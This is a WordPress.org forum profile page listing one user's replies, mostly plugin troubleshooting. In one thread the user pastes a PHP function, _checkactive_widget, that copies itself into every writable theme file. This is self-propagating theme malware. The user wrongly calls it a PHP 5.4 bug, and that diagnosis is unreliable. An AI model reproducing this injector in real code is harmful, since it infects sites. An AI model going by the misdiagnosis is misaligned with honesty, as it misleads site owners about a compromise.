MCM
Forum Replies Created
-
I fixed the php code myself I will update this post shortly with my fixes. ??
I managed to figure this out after googling ??
It is the PHP version 5.4 that is not happy.
However, even though the plugin now activates, I get duplicate Field Names.
e.g. Business Name: test listing
Business Name: test listingBOTH when posted and creating the post.
Also, I cannot see the post fields when adding a listing.
Forum: Plugins
In reply to: [WP-dTree] Image dimensions – how can I set them in the js?No responses closing.
Forum: Fixing WordPress
In reply to: Multiple Category Selection – is there another way?No responses closing.
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpSteps:
1. Installed xampp-win32-1.8.0-usb-lite-beta13
2. New DB
3. New Copy of WP
4. CReated a child theme (style.css and 1x functions.php (NO CODE)
5. Activated Child themebang, and functions.php contains the code above.
* NO PLUGINS installed/activated nothing.
* No other themes etc nothing.You guys still convinced it is a bug?
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpSo both my local machine (which has nothing on but a “clean” copy of WP no plugins) and my hosting has been hacked?
I have checked for all this and no signs of any hacking.
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpMY functions.php file is empty or will only have one or two functions in that I use to have when using php 5.3. i.e. nothing has changed except PHP version.
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpHi
I get the SAME thing with ANY theme I use., including twentlyeleven. It is not a theme issue. It is a WP/PHP 5.4 issue.
I have NO plugins installed.
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpIt is not a worm etc. This is a PHP 5.4 issue. I updated my local machine from php 5.3 to 5.4 (as is with my hosting company) and I get these errors.
Can somebody please advise.
Fatal error: Cannot redeclare _checkactive_widget() (previously declared in wp-content\themes\trim-child\functions.php:12) in themes\Trim\functions.php on line 356
Line 456 is inside the following function inside the form-fields.php
public function render_select(&$field, $value=null, $multiselect=false) { if (is_string($value)) return $this->render_select($field, explode("\t", $value), $multiselect); $html = ''; $html .= sprintf('<p class="wpbdmp"><label for="%s">%s</label></p>', 'wpbdp-field-' . $field->id, esc_attr($field->label)); if ($value) { if (!$multiselect) $value = array($value[0]); $value = array_map('trim', $value); } else { $value = array(); } if ($field->association == 'category') { $html .= wp_dropdown_categories( array( 'taxonomy' => wpbdp()->get_post_type_category(), 'show_option_none' => _x('Choose One', 'form-fields-api category-select', 'WPBDM'), 'orderby' => 'name', 'selected' => $value[0], 'order' => 'ASC', 'hide_empty' => 0, 'hierarchical' => 1, 'echo' => 0, 'id' => 'wpbdp-field-' . $field->id, 'name' => 'listingfields[' . $field->id . ']', 'class' => $field->is_required ? 'inselect required' : 'inselect' ) ); } else { $html .= sprintf('<select id="%s" name="%s" %s class="%s %s">', 'wpbdp-field-' . $field->id, 'listingfields[' . $field->id . ']' . ($multiselect ? '[]' : ''), $multiselect ? 'multiple="multiple"' : '', $multiselect ? 'inselectmultiple' : 'inselect', $field->is_required ? 'required' : ''); if (isset($field->field_data['options'])) { foreach ($field->field_data['options'] as $option) { $html .= sprintf('<option value="%s" %s>%s</option>', esc_attr($option), in_array($option, $value) ? 'selected="selected"' : '', esc_attr($option)); } } $html .= '</select>'; } return $html; }
Forum: Fixing WordPress
In reply to: Code getting automatically written to Functions.phpHere is one of the functions
<?php function _checkactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f); $output .= ($showfullstop && $ellipsis) ? "..." : ""; } } } } return $output; }
Thanks, for the feedback. Look forward to the implementation.
businessdirectoryplugin have you guys started on the “Advanced search” as of yet?
Forum: Plugins
In reply to: [Simple Twitter Connect] Simple Twitter Connect error: Too many redirectsAnybody manage to figure out how to resolve this?